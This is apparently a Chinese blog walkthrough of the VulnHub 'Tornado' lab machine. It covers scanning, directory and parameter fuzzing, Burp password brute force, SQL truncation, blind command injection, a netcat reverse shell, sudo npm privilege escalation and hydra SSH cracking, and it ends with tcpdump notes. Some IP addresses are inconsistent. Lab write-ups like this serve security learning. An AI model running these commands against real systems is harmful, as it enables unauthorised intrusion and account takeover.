靶机下载地址: https://www.vulnhub.com/entry/ia-tornado,639/
教程链接地址 1: https://blog.csdn.net/hljzzj/article/details/122952426
教程链接地址 2: https://www.cnblogs.com/hirak0/articles/16207580.html

# 确认攻击目标

攻击机 KALI: 192.168.31.135 (由于设置成了 DHCP、可能多变)
靶机 TORANDO:桥接于 192.168.31.1 的网卡,ip 未知

1 )确定靶机 ip 地址和开放的端口
由已至内网靶机所在主机 MAC 地址自动扫描靶机 ip
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | uniq

Image

2 )粗略的识别一下该 ip 上开放了哪些端口
sudo arp-scan -l | grep 'a0' | awk '{print $1,$2}' | cut -d ' ' -f 1 | xargs sudo nmap -PA

Image

-> 靶机 ip:192.168.31.83 靶机开放端口 22,80

3 )对靶机开放的端口做更深一步的检索,检索各个服务上的详细信息

sudo nmap -sVC -T4 -Pn --open -p- 192.168.0.183 --min-rate=5000

Image

检索到的有效服务如下所示:
22 ssh:可尝试 ssh 爆破与一些对应版本漏洞利用
80 http:可对 web 进行渗透测试收集信息

# 网站信息收集

打开 http://192.168.0.183/ 进行信息收集

Image

一个 apache 界面,看了一下框架,查看 robots 协议,.git 文件,审查源代码后均没有什么发现,开始扫描目录
gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirb/common.txt --url http://192.168.0.183

common.txt 字典稍微小一点,扫的速度比较快,是个不错的字典

Image

没有扫描到有价值的信息,换个大字典在扫一下
gobuster dir -x php,txt,html,zip,rar,jpg,png -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.0.183/

Image

扫到一个目录 bluesky,访问 http://192.168.0.183/bluesky 发现了一个新的站点,是一个新的 web 界面,可对此进行扫描

Image

gobuster dir -x php,bak,zip,rar,php.bak -w /usr/share/wordlists/dirb/common.txt --url http://192.168.0.183/bluesky

Image

# wfuzz 测试参数

看到了注册登陆的功能,可以在 signup.php 下注册

Image

然后在 login.php 下登陆

Image

登陆成功之后,dashboard 页面显示出了当前的用户名

Image

在 port 界面看到了有一个 LFI 漏洞的提示

Image

用 wfuzz 测试一下是否有参数
wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -c -u http://192.168.0.183/bluesky/port.php?FUZZ=xxx

Image

发现回显全是 302 ,过滤之后在看看,判断是否有参数
wfuzz -c -u http://192.168.31.53/bluesky/port.php?FUZZ=xxx) -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt | grep -v 302

Image

审查源代码,看看有没有什么提示,发现了一个文件

Image

但是访问不到这个文件,可能是做了一些变异

Image

# 脑力测试解谜

依次尝试怎么能访问到这个 imp.txt,最后在如下链接中找到了 imp.txt

http://192.168.0.168/~torando/imp.txt

Image

最后还有一个 contact.php,点开看看说是一些功能出于安全因素已经修复

Image

整理一下收集到的重要的信息,有一份 imp.txt 可能是一些邮箱地址,还有一个注册一个登陆的地方,需要通过这几个条件做突破

将 imp.txt 下载到本地

Image

依次用这几个用户尝试注册登陆,第一个用户是新用户,可进入其管理中心

Image

第二个也是一个未注册的新用户

Image

直到用第三个用户注册的时候,发现了输入的用户名的长度被限制了

Image

修改源代码的长度限制,注册此用户

Image

注册后发现也是一个新用户,可以进入其管理中心,想必这几个用户大部分都是未注册的用户,少部分是一些敏感用户,直接用 burp 批量注册发现有两个用户是注册过的一个是 admin@torando,一个是 jacob@torando

Image

这两个用户是已经存在的用户,考虑爆破密码

Image

# burp 批量注册

数据拦截到 burp 中,选择 Cluster bomb 模式,对其进行爆破

Image

uname 参数就设置为两个已经存在的用户

Image

密码就选用常用来做 web 目录扫描的 directory-list-2.3-meduim.txt

Image

爆破了一段时间之后,出现了结果,爆出来了 admin 用户的两个密码,是的两个密码,很奇怪,为什么会有两个密码?

Image

选取一个密码进入 admin 的管理中心看看,没有什么发现

Image

最后的线索指向了一个已经注册的用户 jacob@torando,还有在页面前端做了 13 的长度限制,以及 admin 用户有两个密码。

# sql 截断攻击

sql 截断攻击:
当数据库由于长度限制而截断用户输入时,就会发生 SQL 截断漏洞。攻击者可以收集关键字段 (例如用户名) 长度的信息,并利用这些信息获得未经授权的访问。
改变用户名的输入框的输入限制,并开始给 jacob@tornado 用户再次申请一个密码。

Image

注册成功之后,用 jacob@tornado 登陆后发现是可以的

Image

在这个用户的 contact.php 界面找到了一个可以交互的界面

Image

输入内容后,在页面中有回显,左下角显示出来了 id

Image

# 无回显 RCE

既然有输入有回显,就很有可能是 RCE 漏洞,输入 id’;id, 但是回显依然是本身,可能不是单纯的 linux 的 echo‘id’命令

Image

不知道命令是否执行了,用命令注入无回显的方法试试,先用 dnslog 测试

Image

但是 dnslog 没有任何回显,可能命令执行了,但是服务器没有 curl 命令也会出现这样的情况,还可以用抓包的方式判断此命令是否执行。

# tcpdump 抓包

在 kali 上用 tcpdump 抓包,监听 eth0 网卡,以及靶机 ip
sudo tcpdump -i eth0 host 192.168.0.183

Image

此接口处用来 ping kali 机器,注意一定要搞成发送固定的数据包,不然 ping 没法中断下来,导致重启靶机才能解决 ping -c 4 192.168.0.168

Image

在 ping 之后,上述 tcpdump 就会抓取到网卡的数据,证明这里的命令最终会被服务器执行,就可以在这里构造 payload 反弹 shell。

反弹 shell,接受会话,美化终端
nc 192.168.0.168 4444 -e /bin/bash

Image

收集服务器信息

Image

发现服务器有 root、catchme、tornado 三个有 bash 的用户,并且 www-data 可以免密调用 catchme 的 npm 命令执行

# sudo (npm) 提权

在 GTFobins 上找到了思路,写 payload 进行提权需要两个文件,一个 package.json, 一个 shell.sh,用 chmod 使其可执行

1
2
3
4
5
vi package.json
{ "name": "shell", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "shell": "./shell.sh" }, "author": "", "license": "ISC" }
echo "/bin/bash" >shell.sh
chmod +x shell.sh
sudo -u catchme npm run shell
Image

或者可以直接浓缩为一句话的 linux 命令,直接提权至 catchme 用户

1
2
3
4
cd /tmp ; echo ' { "name": "shell", "version": "1.0.0", "description": "", "main":
"index.js", "scripts": { "shell": "./shell.sh" }, "author": "", "license": "ISC" }
' >package.json ; echo "/bin/bash" >shell.sh ;chmod +x shell.sh ; sudo -u catchme
npm run shell
Image

# 凯撒解密脚本

在用户目录下找到了一个加密的英文字符串,看到 trrwnqc 之后感觉很像是一个英文字符移位之后的显示,猜测是采用了凯撒加密。

Image

网上找一个可以解密恺撒解密的脚本放在本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string

alphabet = string.ascii_lowercase
encrypted = "hcjqnnsotrrwnqc"
enc_len = len(encrypted)
for i in range(25):
plain_text = ""
for c in encrypted:
if c.islower():
c_unicode = ord(c)
c_index = ord(c) - ord("a")
new_index = (c_index - i) % 26
new_unicode = new_index + ord("a")
new_character = chr(new_unicode)
plain_text = plain_text + new_character
else:
plain_text += c
print(f"ID:{i} : {plain_text}")

此脚本的作用就是依次计算加密字符串偏移 1 - 26 后的解密值

Image

运行脚本之后得到了如下字符串,其中最可疑的是 idkrootpussword

Image

看样子像是 root 的密码,但是试了一下,不能凭借此密码登陆到 root

Image

既然这个密码不是最终的密码,就写一些变体如下

Image

用 hydra 尝试一一破解,最后得到了真实的 root 密码
hydra -l root -P secret.txt ssh://192.168.0.183 -f -t 64 -I -vV

Image

-> 切换到了 root 用户成功,拿到了 root 权限

Image

# tcpdump 抓包命令

TCPDump 可以将网络中传送的数据包完全截获下来提供分析。它支持针对网络层、协议、主机、网络或端口的过滤,并提供 and、or、not 等逻辑语句来帮助你去掉无用的信息。他的功能与 wireshark 的功能相同,是命令行版本的抓包工具。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 按网卡过滤: 
sudo tcpdump -i eth0

# -tt : 在每列倾倒资料上显示未经格式化的时间戳记; sudo tcpdump -i eth0 -tt

# -n :不把主机的网络地址转换成名字;
sudo tcpdump -i eth0 -n

# -S :用绝对而非相对数值列出 TCP 关联数;
sudo tcpdump -i eth0 -S

# -vv :更详细显示指令执行过程;
sudo tcpdump -i eth0 -vv

# -w <数据包文件> :把数据包数据写入指定的文件:
sudo tcpdump -i eth0 -w output.pcap
Image
1
2
# -r <数据包文件> :从指定的文件读取数据包数据; 
sudo tcpdump -r output.pcap
Image
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 按主机名过滤: 
sudo tcpdump host 110.42.178.227

# 按源地址过滤:
sudo tcpdump src 110.42.178.227

# 按目标地址过滤
sudo tcpdump dst 110.42.178.227

# 捕获整个网段:
sudo tcpdump net 192.168.0.0/24

# 捕获一个端口:
sudo tcpdump port 22

# 捕获端口区间:
sudo tcpdump portrange 21- 2121

# 多个选项与:
sudo tcpdump host 110.42.178.227 and port 21

# 多个选项或:
sudo tcpdump host 110.42.178.227 or port 2 121

# 排除选项:
sudo tcpdump host 110.42.178.227 and not 1.117.52.219
更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

.N1h1l157 微信支付

微信支付

.N1h1l157 支付宝

支付宝

.N1h1l157 贝宝

贝宝